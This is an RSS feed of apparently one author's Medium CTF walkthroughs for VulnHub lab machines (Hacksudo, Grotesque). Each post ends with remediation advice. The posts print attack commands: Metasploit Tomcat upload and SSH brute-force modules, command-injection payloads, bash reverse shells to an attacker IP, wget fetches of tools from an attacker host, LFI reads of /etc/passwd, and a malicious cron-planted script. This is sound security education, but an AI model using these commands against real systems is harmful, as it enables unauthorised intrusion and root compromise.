<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Basit Olasubomi Balogun on Medium]]></title>
        <description><![CDATA[Stories by Basit Olasubomi Balogun on Medium]]></description>
        <link>https://medium.com/@basitolasubomibalogun?source=rss-c920845a8acd------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*i6kmYRwTiU3pV8WNu3AIuQ.jpeg</url>
            <title>Stories by Basit Olasubomi Balogun on Medium</title>
            <link>https://medium.com/@basitolasubomibalogun?source=rss-c920845a8acd------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 22 Nov 2026 23:19:54 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@basitolasubomibalogun/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Hacksudo: 1 CTF — Full Technical Walkthrough]]></title>
            <link>https://medium.com/@basitolasubomibalogun/hacksudo-1-ctf-full-technical-walkthrough-47b51b663cb6?source=rss-c920845a8acd------2</link>
            <guid isPermaLink="false">https://medium.com/p/47b51b663cb6</guid>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[vulnhub]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Basit Olasubomi Balogun]]></dc:creator>
            <pubDate>Fri, 21 Nov 2025 16:07:42 GMT</pubDate>
            <atom:updated>2025-11-21T16:07:42.836Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Cla57HrOWyqbe8XLmiPaxw.png" /></figure><h3>Hacksudo: 1 CTF — Full Technical Walkthrough</h3><blockquote>This walkthrough covers the Hacksudo: 1 vulnerable machine. All testing was performed in a controlled lab environment for educational purposes only.</blockquote><h3>🔍 Discovery</h3><p><strong>Objective:</strong> Identify the target and exposed services.</p><p>Start with an nmap scan:</p><pre>nmap -sV -A &lt;target-ip&gt;</pre><p><strong>Results:</strong></p><ul><li>Port <strong>80</strong> — HTTP (web)</li><li>Port <strong>8080</strong> — HTTP (Tomcat Manager)</li><li>Port <strong>2222</strong> — SSH</li></ul><p><strong>Insight:</strong> The presence of Tomcat on 8080 and multiple web ports suggests web application attack vectors (admin panels, uploads, etc.).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Vwug4yc2MwY_nutI-A4-WA.png" /><figcaption>Nmap output showing open ports (80, 8080, 2222).</figcaption></figure><h3>🔎 Enumeration</h3><p><strong>Goal:</strong> Uncover hidden directories and data leaks.</p><p>Run a directory brute-force:</p><pre>gobuster dir -u http://&lt;target-ip&gt;/ -w /usr/share/dirb/wordlists/common.txt -x php,php.bak,log,html,txt,jpg,zip,pdf,git,bak</pre><p><strong>Findings:</strong> A discovered file /info.txt contained admin credentials for the Tomcat Manager hosted on port 8080.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MoZXT8zJ8GTzqQcROOO_bw.png" /><figcaption>Gobuster output showing /info.txt.</figcaption></figure><h3>⚡ Foothold — Tomcat Manager Upload</h3><p><strong>Objective:</strong> Use discovered Tomcat Manager credentials to gain initial access.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GpGkE7EKLvheZVVqazg6jw.png" /><figcaption>/info.txt content showing Tomcat credentials</figcaption></figure><ul><li>Open the Tomcat Manager UI (http://&lt;target-ip&gt;:8080/manager) and log in with credentials from /info.txt.</li><li>Use Metasploit to automate a webapp upload exploit:</li></ul><pre>msfconsole<br>use exploit/multi/http/tomcat_mgr_upload<br>set RHOSTS &lt;target-ip&gt;<br>set HttpUsername &lt;admin&gt;<br>set HttpPassword &lt;password_from_info.txt&gt;<br>set RPORT 8080<br>run</pre><p><strong>Result:</strong> A Java Meterpreter session (or web shell) as the tomcat user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/983/1*Oh2AsSzcB0lk_p8UKd6hEA.png" /><figcaption>Metasploit output showing a session opened as tomcat</figcaption></figure><h3>🔐 Privilege Escalation</h3><p><strong>Objective:</strong> Move from tomcat → vishal → hacksudo → root.</p><h3>Step 1 — Horizontal Escalation (tomcat → vishal → hacksudo)</h3><ul><li>During enumeration, an image vishal.jpg in /var/backups/hacksudo was identified as containing hidden data.</li><li>Copied the image to the attacker machine and ran a steganography tool (e.g., stegseek / steghide) to extract hidden content.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jX_H1nb-_Gn2C-H3eRnQQA.png" /></figure><ul><li>The extracted data contained a password hash (ROT-13 obfuscated). Decoding ROT-13 using cyberchef online tool revealed a hash for user vishal.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*A2LNidp_fJofvH3jW9amlA.png" /></figure><ul><li>The hash was cracked using CrackStation.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*0Unry7WKO18Y1eL-orvyJA.png" /></figure><ul><li>Using recovered credentials, access to user vishal was obtained.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/896/1*2yiVnZnJwoz1oUSQZ0XVgg.png" /></figure><ul><li><strong>Next:</strong> found a binary getmanager in /home/hacksudo that automatically runs manager.sh. By modifying manager.sh ( injecting a malicious script that getmanager executes), we could trigger a reverse shell back to an attacker listener — that allowed escalation to user hacksudo.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/843/1*lKP_S3-eRpBN9dyh0JxhNA.png" /><figcaption>ls -la /home/hacksudo showing getmanager and manager.sh</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1006/1*MMqjmsDGEAJH_T5THe___Q.png" /><figcaption>modifying manager.sh</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/919/1*Aah3p9G16DUrMPy74sXbXg.png" /><figcaption>trigger a reverse shell back to an attacker listener</figcaption></figure><h3>Step 2 — Vertical Escalation (hacksudo → root)</h3><ul><li>Enumerated hacksudo sudo rights with:</li></ul><pre>sudo -l</pre><ul><li>sudo -l revealed hacksudo could run scp as root without a password. This is a known GTFOBins vector: scp can be abused to write files as root or perform operations that lead to privilege escalation.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/919/1*Aah3p9G16DUrMPy74sXbXg.png" /><figcaption>sudo -l output showing scp allowed for hacksudo</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iJ1VfVKDPQPCiaCqD19mXw.png" /><figcaption>exploit patterns from GTFOBins to write a setuid binary</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/851/1*RBv7GUqznWTCetSnXss2Wg.png" /><figcaption>shell prompt showing root</figcaption></figure><h3>🛡 Remediation &amp; Recommendations</h3><p><strong>Protect backups and sensitive files</strong></p><ul><li>Move backups out of web-accessible directories.</li><li>Restrict file permissions and ownership:</li></ul><pre>sudo chown root:root /var/backups/hacksudo sudo chmod 700 /var/backups/hacksudo</pre><ul><li>Block or scan .jpg and archive files for embedded secrets.</li></ul><p><strong>Limit privileged binaries</strong></p><ul><li>Do not grant sudo rights to file-transfer or interactive tools (e.g., scp, rsync, editors) without strict command filtering.</li><li>Use sudoers with command-specific arguments and avoid NOPASSWD where unnecessary.</li></ul><p><strong>General</strong></p><ul><li>Avoid storing secrets obfuscated by reversible methods (ROT-13) — use proper hashing and secret storage.</li><li>Audit scheduled tasks and auto-run binaries like getmanager to ensure they cannot be trivially exploited.</li></ul><h3>✅ Conclusion</h3><p>Hacksudo: 1 is an example of how accidental secret leakage (hidden data in backups), weak obfuscation (ROT-13), and insecure sudo rules can be chained into a full-root compromise. Properly protecting backups, locking down sudo privileges, and removing secret material from web-accessible locations would have prevented the full impact.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=47b51b663cb6" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hacksudo: 3 CTF — Full Technical Walkthrough]]></title>
            <link>https://medium.com/@basitolasubomibalogun/hacksudo-3-ctf-full-technical-walkthrough-d948e4be5407?source=rss-c920845a8acd------2</link>
            <guid isPermaLink="false">https://medium.com/p/d948e4be5407</guid>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[vulnhub]]></category>
            <category><![CDATA[infosec]]></category>
            <dc:creator><![CDATA[Basit Olasubomi Balogun]]></dc:creator>
            <pubDate>Fri, 21 Nov 2025 16:06:57 GMT</pubDate>
            <atom:updated>2025-11-21T16:06:57.526Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BDH_MmXx0_ge80okljegSA.png" /></figure><h3>Hacksudo: 3 CTF — Full Technical Walkthrough</h3><p><em>In this walkthrough I cover the Hacksudo: 3 vulnerable machine — from discovery and enumeration to foothold via command injection and final privilege escalation through an LXD vector. All testing was done in a controlled lab environment for educational purposes only.</em></p><h3>🔍 Discovery</h3><p><strong>Objective:</strong> Identify the target and exposed services.</p><p>Start with an nmap scan:</p><pre>nmap -sV -A &lt;target-ip&gt;</pre><p><strong>Findings:</strong></p><ul><li>Port <strong>80</strong> — HTTP (web)</li><li>Port <strong>21</strong> — FTP (filtered)</li><li>Port <strong>22</strong> — SSH (filtered)</li></ul><p><strong>Insight:</strong> The box exposes common remote services and a web application — a good place to start web enumeration.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WbHxGgQmOvgDS_SKHhYiDg.png" /><figcaption>nmap output showing open ports</figcaption></figure><h3>🔎 Enumeration</h3><p><strong>Goal:</strong> Uncover hidden directories and interesting endpoints.</p><p>Run a directory brute-force against the webroot:</p><pre>gobuster dir -u http://&lt;target-ip&gt;/ -w /usr/share/dirb/wordlists/common.txt -x php,php.bak,log,html,txt,jpg,zip,pdf,git,bak</pre><p><strong>Result:</strong> A hidden endpoint /generator.php was discovered.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9RrpUHJAbh8fVWJCuhuOrA.png" /><figcaption>Gobuster results showing /generator.php</figcaption></figure><h3>⚙️ Foothold — Command Injection on generator.php</h3><p><strong>Objective:</strong> Gain an initial shell using command injection.</p><p>During manual review of /generator.php, the page accepted an input that was passed to a shell command without sanitization — a classic <strong>command injection</strong> vulnerability.</p><p><strong>Exploit approach:</strong></p><ul><li>Start a Netcat listener on your attacker machine:</li></ul><pre>nc -lvnp &lt;LPORT&gt;</pre><ul><li>Submit a payload to the vulnerable parameter that executes a reverse bash shell (example payload from PentestMonkey):</li></ul><pre>echo &#39;hacked&#39; &amp;&amp; bash -c &#39;bash -i &gt;&amp; /dev/tcp/&lt;attacker-ip&gt;/&lt;LPORT&gt; 0&gt;&amp;1&#39;</pre><ul><li>Trigger the input via the web form or curl:</li></ul><pre>curl -X POST &quot;http://&lt;target-ip&gt;/generator.php&quot; -d &quot;input=;bash -i &gt;&amp; /dev/tcp/&lt;attacker-ip&gt;/&lt;LPORT&gt; 0&gt;&amp;1;&quot;</pre><p><strong>Result:</strong> Reverse shell obtained as www-data.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*49RE1uc5DtkpBrKGPg9i_Q.png" /><figcaption>generator.php page showing the input field</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JZKnRYtr4VPQ5CoR33_PJw.png" /><figcaption>Netcat listener receiving shell → prompt showing www-data</figcaption></figure><h3>🔐 Privilege Escalation</h3><p><strong>Objective:</strong> Move from www-data → hacksudo → root.</p><h3>Step 1 — Horizontal Escalation (www-data → hacksudo)</h3><ul><li>Found a file /var/www/hacksudo containing data in <strong>ROT-13</strong>.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*L2-xaHF2XZi7mv18DRc0Wg.png" /></figure><ul><li>Decoded ROT-13 (using CyberChef ) to reveal a hash or plaintext credential.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*v5LMNkTGIPCYt9bDamDc0A.png" /></figure><ul><li>A hash was present, and cracked with an online cracking tool (crackstation.net).</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tV12udSf2eB1USvFOtuFyw.png" /></figure><ul><li>Used the recovered credentials to switch to user hacksudo:</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/518/1*kPQSOPzAnODAjo3yvsT9HA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hRWPi6pSMQ5fPkbXB7M5mw.png" /></figure><h3>Step 2 — Vertical Escalation (hacksudo → root)</h3><ul><li>Uploaded and ran linpeas.sh to enumerate privilege escalation vectors:</li></ul><pre>wget http://&lt;attacker-ip&gt;/linpeas.sh -O /tmp/linpeas.sh<br>chmod +x /tmp/linpeas.sh<br>/tmp/linpeas.sh</pre><ul><li><strong>linpeas</strong> flagged an LXD-related privilege escalation vector (a misconfigured LXD/container setup).</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Sx2KX70EjKowYVwmI8zDqQ.png" /></figure><p><strong>LXD exploitation (high-level steps):</strong></p><blockquote><em>Exploiting LXD varies by configuration. Typical steps include finding accessible LXD sockets or abusing container-into-host escape methods (e.g., privileged containers, device passthrough, or CVEs).</em></blockquote><p><strong>Result:</strong> After exploiting the LXD vector, a root shell was obtained.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hcVMCtjqKk1-eWchscY3SA.png" /><figcaption>LXD exploit POC</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/922/1*n35CdInyfMMrQrEr80gSIQ.png" /><figcaption>Cloning the exploit scripts from github</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hRWPi6pSMQ5fPkbXB7M5mw.png" /><figcaption>Uploading script unto targets terminal</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*e-wH0pRXPNkD1GszGuMu9g.png" /><figcaption>Running exploit script on targets terminal and proof of root access</figcaption></figure><h3>🛡 Remediation &amp; Recommendations</h3><p><strong>Fix command injection</strong></p><ul><li>Never pass user input directly to shell commands.</li><li>Use parameterized APIs, strict input validation, and whitelisting.</li><li>Example: avoid system($_GET[&#39;name&#39;]); instead validate and handle inputs safely.</li></ul><p><strong>Harden LXD / Container Config</strong></p><ul><li>Revoke overly permissive LXD settings (e.g., security.privileged=true).</li><li>Disable device passthrough unless necessary.</li><li>Avoid privileged/nested containers.</li><li>Follow official LXD hardening guides and limit who can access LXD sockets.</li></ul><p><strong>General</strong></p><ul><li>Remove sensitive data from web-accessible locations (e.g., /var/www/hacksudo).</li><li>Use secure storage for credentials, not ROT-13 or other reversible obfuscation.</li><li>Regularly run automated checks (linpeas, lynis) and patch container runtimes.</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d948e4be5407" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Grotesque3 CTF — Full Technical Walkthrough]]></title>
            <link>https://medium.com/@basitolasubomibalogun/grotesque3-ctf-full-technical-walkthrough-14e9eca4a180?source=rss-c920845a8acd------2</link>
            <guid isPermaLink="false">https://medium.com/p/14e9eca4a180</guid>
            <category><![CDATA[vulnhub]]></category>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <dc:creator><![CDATA[Basit Olasubomi Balogun]]></dc:creator>
            <pubDate>Sun, 16 Nov 2025 20:49:36 GMT</pubDate>
            <atom:updated>2025-11-16T20:49:36.564Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*F360lLTEhr05bqJr3dOLIg.png" /></figure><h3>Grotesque3 CTF — Full Technical Walkthrough</h3><p>This write-up covers the <strong>Grotesque3</strong> vulnerable machine. We move from discovery and clever enumeration (MD5 wordlists!) to a foothold via LFI + SSH brute force and finally a full root compromise via writable SMB share + cron. All testing was performed in a controlled lab environment for educational purposes only.</p><h3>🔍 Discovery</h3><p><strong>Objective:</strong> Identify the target and exposed services.</p><p>Start with an nmap scan:</p><pre>nmap -sV -A &lt;target-ip&gt;</pre><p><strong>Findings:</strong></p><ul><li>Port <strong>80</strong> — HTTP</li><li>Port <strong>22</strong> — SSH</li></ul><p><strong>Insight:</strong> Standard web + SSH stack — web content may hide the clues.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Q-3xgEhZv1CWf8xEDNJTpA.png" /><figcaption>nmap output showing ports 80 and 22</figcaption></figure><h3>🔎 Enumeration — the MD5 trick</h3><p><strong>Goal:</strong> Uncover hidden directories and endpoints.</p><p>While browsing the web root, a prominent image (/atlasg.jpg) contained a visual hint — a scroll that read <strong>“md5”</strong>. That hint suggested the directory wordlist should be hashed before fuzzing.</p><p>Initial gobuster using the plain wordlist returned nothing useful. To follow the hint:</p><ul><li>Create an MD5-hashed copy of your directory wordlist:</li></ul><p>(Use a short script to iterate and md5 each line — result file md5_wordlist.)</p><ul><li>Run gobuster with the MD5 wordlist:</li></ul><pre>gobuster dir -u http://&lt;target-ip&gt;/ -w ./md5_wordlist -x .php,.php.bak,.log,.html,.txt,.jpg,.zip,.pdf,.git,.bak</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pO8pK0PFhM6UIEl0vMGkDQ.png" /></figure><p><strong>Result:</strong> Discovered a subdomain.</p><h3>⚡ Foothold — LFI → /etc/passwd → SSH brute force</h3><p><strong>Objective:</strong> Gain initial remote shell via LFI-assisted username discovery + SSH brute force.</p><ul><li>Test found subdomainfor LFI. Using wfuzz we found the vulnerable parameter purpose was usable for file inclusion.</li></ul><p>Example wfuzz:</p><pre>wfuzz -c -z file,/usr/share/wordlists/dirb/common.txt \<br>  -u &quot;http://&lt;target-ip&gt;/&lt;file-name?FUZZ=/etc/passwd&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kdZPGiHOKViYk51paUAP7A.png" /></figure><p>Using LFI to read /etc/passwd:</p><pre>http://172.20.10.4/f66b22bf020334b04c7d0d3eb5010391.php?FUZZ=/etc/passwd)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uhThxUvX2c4Q09UpxdDueg.png" /></figure><p>From /etc/passwd we identified username freddie.</p><ul><li>Prepare to brute-force SSH using the previously-generated md5_wordlist (the box used MD5 hints — I converted the wordlist earlier and then used it as password candidates). In this case I used the MD5-wordlist as password candidates</li></ul><p>Automated SSH brute-force with hydra:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*s_3ohwlMC1UnXeSh377tzQ.png" /></figure><p><strong>Result:</strong> Successful SSH login → shell as freddie.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/932/1*Dk0IXd-jUwsnMhpvojDQpQ.png" /></figure><h3>🔐 Privilege Escalation — SMB share + cron → root</h3><p><strong>Objective:</strong> Escalate from freddie → root.</p><ul><li>Upload and run reconnaissance tools:</li></ul><pre># on target<br>wget http://&lt;attacker-ip&gt;/pspy64 -O /tmp/pspy64<br>chmod +x /tmp/pspy64<br>/tmp/pspy64 &amp;</pre><ul><li>Run linpeas.sh as well to locate interesting services and mounts.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*vo7De3c3FdGk1U00ae5_gQ.png" /></figure><p>linpeas output showed SMB (port 139) listening — not reachable directly from your attacker, but reachable from the target itself. From the target, you enumerated SMB shares (using smbclient):</p><pre>smbclient -L //127.0.0.1 -N<br>smbclient //127.0.0.1/grotesque -N</pre><p>Found a share named grotesque.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/487/1*zBoG2yhivs81ygmBXBFc5g.png" /></figure><ul><li>pspy64 revealed a cron job that executed a shell on files in /smbshare/*:</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4akButEjjcL9cWLrz6vVzA.png" /></figure><pre>/bin/sh -c bash /smbshare/*</pre><p>The directory backing the grotesque SMB share was writable <strong>from the target context</strong> (the web process could place files there or the user could). Although the share itself was not writable from the attacker, as freddie (on the target) you could upload/create files into the share (e.g., via smbclient or by placing files if that share was mounted).</p><ul><li>Create a malicious reverse-shell script and place it into the grotesque share from the target environment (e.g., echo &#39;bash -i &gt;&amp; /dev/tcp/&lt;attacker-ip&gt;/&lt;LPORT&gt; 0&gt;&amp;1&#39; &gt; /tmp/reverse.sh then copy to the share):</li></ul><pre># On target as freddie (example)<br>echo &#39;bash -i &gt;&amp; /dev/tcp/&lt;attacker-ip&gt;/&lt;LPORT&gt; 0&gt;&amp;1&#39; &gt; /tmp/reverse.sh<br># Upload to the share (via smbclient or cp to mounted path)<br>smbclient //127.0.0.1/grotesque<br>put /tmp/reverse.sh </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/984/1*ADAHOmI5zdo7uXHwbTjqtw.png" /></figure><ul><li>The cron job picked up the script and executed it as <strong>root</strong>, which connected back to your Netcat listener:</li></ul><pre>nc -lvnp &lt;LPORT&gt;<br># wait for incoming root shell</pre><p><strong>Result:</strong> Reverse shell as root.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/749/1*gTPQA2f1LXS3wqib7wpA9g.png" /></figure><h3>🛡 Recommendations</h3><p><strong>Secure SMB shares &amp; cron handling</strong></p><ul><li>Remove writable shares or restrict them to specific trusted hosts:</li></ul><pre>chown root:root /srv/smb/grotesque chmod 0700 /srv/smb/grotesque</pre><ul><li>Ensure cron jobs do not execute files from locations writable by non-root or untrusted users. If processing files is required, implement strict ownership/permission checks and sanitize filenames.</li></ul><p><strong>Harden SSH</strong></p><ul><li>Disable password-based SSH authentication; use key-based auth:</li></ul><pre>PasswordAuthentication no PermitRootLogin no</pre><ul><li>Install <strong>fail2ban</strong> or equivalent to mitigate brute-force attempts.</li></ul><p><strong>General hygiene</strong></p><ul><li>Remove any plaintext credential files and rotate exposed passwords immediately.</li><li>Monitor for unexpected file writes to shares and audit cron entries.</li></ul><h3>✅ Conclusion</h3><p>Grotesque3 demonstrates how a clever hint (MD5) can guide exploitation, and how insecure file flows (writable SMB + cron) can lead to full system compromise. Proper share hardening and safe cron practices prevent this class of attack.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=14e9eca4a180" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Grotesque 2 CTF — Full Technical Walkthrough]]></title>
            <link>https://medium.com/@basitolasubomibalogun/grotesque-2-ctf-full-technical-walkthrough-5cc983e43a6b?source=rss-c920845a8acd------2</link>
            <guid isPermaLink="false">https://medium.com/p/5cc983e43a6b</guid>
            <category><![CDATA[vulnhub]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[infosec]]></category>
            <dc:creator><![CDATA[Basit Olasubomi Balogun]]></dc:creator>
            <pubDate>Sun, 16 Nov 2025 20:19:42 GMT</pubDate>
            <atom:updated>2025-11-16T20:19:42.531Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*k9pz4PRqQCXQ0liIWzuZgA.png" /></figure><h3>Grotesque 2 CTF — Full Technical Walkthrough</h3><p>This write-up covers the <strong>Grotesque 2</strong> vulnerable machine. We move from discovery and port enumeration to foothold, SSH access, and final privilege escalation to root. All testing was performed in a controlled lab environment for educational purposes only.</p><h3>🔍 Discovery</h3><p><strong>Objective:</strong> Identify the target and exposed services.</p><p>Start with an Nmap scan:</p><pre>nmap -sV -A &lt;target-ip&gt;</pre><p><strong>Findings:</strong></p><ul><li>Many HTTP ports open (range <strong>32–600</strong>)</li><li>Port <strong>22</strong> — SSH</li></ul><p><strong>Insight:</strong> Multiple web services listening on non-standard ports — a good candidate for automated port fuzzing.</p><h3>🧭 Enumeration</h3><p><strong>Goal:</strong> Discover which of the many HTTP ports host interesting content.</p><p>Steps taken:</p><ul><li>Create a file num.txt with the ports to test (one per line). Example generation:</li></ul><pre>seq 32 600 &gt; num.txt</pre><ul><li>Use ffuf to fuzz the host across those ports and search for differing responses:</li></ul><pre>ffuf -w num.txt -u http://&lt;target-ip&gt;:FUZZ/ -fw 39<br># or a custom script that runs curl against each port and inspects response length/keywords</pre><p><strong>Result:</strong> Port <strong>258</strong> returned a different response length and content (response length = 67), so it was investigated further.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1020/1*_ZXWw6fEtVKUg68j6gna2Q.png" /><figcaption>ffuf/scan output showing port 258 as an outlier</figcaption></figure><h3>⚡ Foothold</h3><p><strong>Objective:</strong> Gain an initial shell.</p><ul><li>Visit the web service on port 258:</li></ul><pre>http://&lt;target-ip&gt;:258</pre><p>The page revealed <strong>SSH usernames</strong> (or a list of possible usernames).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AkXTmJFCQHlBd03K0-ig3w.png" /></figure><ul><li>Using those usernames, brute-forced SSH logins with rockyou.txt as the password list. This process was automated with Metasploit:</li></ul><pre>msfconsole<br>use auxiliary/scanner/ssh/ssh_login<br>set RHOSTS &lt;target-ip&gt;<br>set THREADS 10<br>set USER_FILE ./usernames.txt<br>set PASS_FILE /usr/share/wordlists/rockyou.txt<br>run</pre><p><strong>Result:</strong> Successful SSH login — shell as user <strong>angel</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xSVuuUYfhfA7Ll1IMdomNw.png" /></figure><h3>🔐 Privilege Escalation</h3><p><strong>Objective:</strong> Escalate from angel → root.</p><h3>Step 1 — Enumerate scheduled jobs</h3><ul><li>Upload and run pspy64.py on the target to monitor processes and scheduled jobs:</li></ul><pre># from attacker&#39;s host: host pspy binary and wget on victim, then run<br>wget http://&lt;attacker-ip&gt;/pspy64 -O /tmp/pspy64<br>chmod +x /tmp/pspy64<br>/tmp/pspy64</pre><p>pspy64 revealed two root-run cron scripts executed regularly:</p><ul><li>/root/write.sh</li><li>/root/check.sh</li></ul><p>Both are running as <strong>UID 0</strong> and only accessible to root.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vWH6iofAnYWrOYurQotDXQ.png" /></figure><h3>Step 2 — Find file creation behavior</h3><p>Further enumeration showed the scripts generate files that end up in /home/angel/quiet. The quiet directory was observed being <strong>re-created / re-formatted</strong> periodically.</p><p>After monitoring (and once the directory was formatted multiple times (twice)), a file named rootcreds.txt appeared in the filesystem root / .</p><p>rootcreds.txt contained <strong>root credentials</strong> (plaintext username/password).</p><blockquote><em>With those credentials you can simply SSH / </em><em>su to root (or use them directly with </em><em>sudo if applicable).</em></blockquote><p><strong>Result:</strong> Used the discovered root credentials to log in as <strong>root</strong> and obtain a full system compromise.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/896/1*MJr-qzUosCcdAKIaQwm_XQ.png" /><figcaption>ls -la /home/angel/quiet showing created files</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2Jbr28EBwcM4e6PQ9Yt3zw.png" /><figcaption>Dumped rootcreds.txt</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/853/1*QSw4qSfo0P_zfcLVlgFXNg.png" /><figcaption>Content of /rootcreds.txt and prompt showing root</figcaption></figure><h3>🛡 Recommendations</h3><h3>Harden SSH &amp; block brute force</h3><ul><li>Disable password-based SSH auth (use key-based auth only) or at minimum:</li></ul><pre>PasswordAuthentication no PermitRootLogin no</pre><ul><li>Install and configure <strong>fail2ban</strong> (or similar) to block repeated failed login attempts.</li></ul><h3>Remove credential leakage &amp; rotate</h3><ul><li>Immediately delete exposed credential files (e.g., rootcreds.txt) and rotate any compromised passwords.</li><li>Search the filesystem for leftover plaintext secrets and remove/secure them.</li></ul><h3>Secure cron jobs &amp; file flows</h3><ul><li>Avoid having cron jobs create files that non-privileged users can read. If output must be written, ensure it lands in a root-only directory with strict permissions.</li><li>Do not have root scripts write output to user-writable directories.</li><li>Audit and restrict scripts under /root — ensure they do not leak sensitive data.</li></ul><h3>✅ Conclusion</h3><p>Grotesque 2 shows how a combination of many non-standard HTTP services and simple file-creation behavior in root scripts can leak credentials and lead to a complete compromise. Proper log/cron hygiene, removing plaintext credentials, and hardening SSH will prevent this attack chain.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5cc983e43a6b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hacksudo: Aliens CTF — Full Technical Walkthrough]]></title>
            <link>https://medium.com/@basitolasubomibalogun/hacksudo-aliens-ctf-full-technical-walkthrough-c8894dca05fa?source=rss-c920845a8acd------2</link>
            <guid isPermaLink="false">https://medium.com/p/c8894dca05fa</guid>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[vulnhub]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[penetration-testing]]></category>
